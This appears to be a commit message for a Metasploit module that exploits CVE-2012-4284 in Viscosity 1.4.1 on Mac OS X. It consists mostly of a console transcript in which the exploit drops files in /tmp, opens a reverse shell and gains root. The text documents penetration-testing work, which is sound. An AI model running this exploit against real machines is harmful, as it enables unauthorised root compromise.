added module for cve-2012-4284

Tested successfully Viscosity 1.4.1 over Mac OS X 10.7.5.

Application can be downloaded from exploit-db:
http://www.exploit-db.com/wp-content/themes/exploit/applications/62c33243ebb9040007beba0cb39f7dae-Viscosity1.4.1.dmg

Test:

```
msf  exploit(setuid_viscosity) > check
[+] The target is vulnerable.
msf  exploit(setuid_viscosity) > exploit

[*] Started reverse handler on 192.168.1.128:4444 
[*] Dropping executable /tmp/egTMmACP
[*] Dropping python /tmp/site.py...
[*] Creating symlink...
[*] Running...
[*] Command shell session 2 opened (192.168.1.128:4444 -> 192.168.1.128:50965) at 2013-03-03 13:20:34 +0100
[!] Remember to clean files: /tmp/jSYsjiKM, /tmp/site.py, /tmp/site.pyc and /tmp/egTMmACP

id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),33(_appstore),61(localaccounts),80(admin),98(_lpadmin),100(_lpoperator),204(_developer),402(com.apple.sharepoint.group.1),401(com.apple.access_screensharing)
^C
Abort session 2? [y/N]  y

[*] 192.168.1.128 - Command shell session 2 closed.  Reason: User exit

```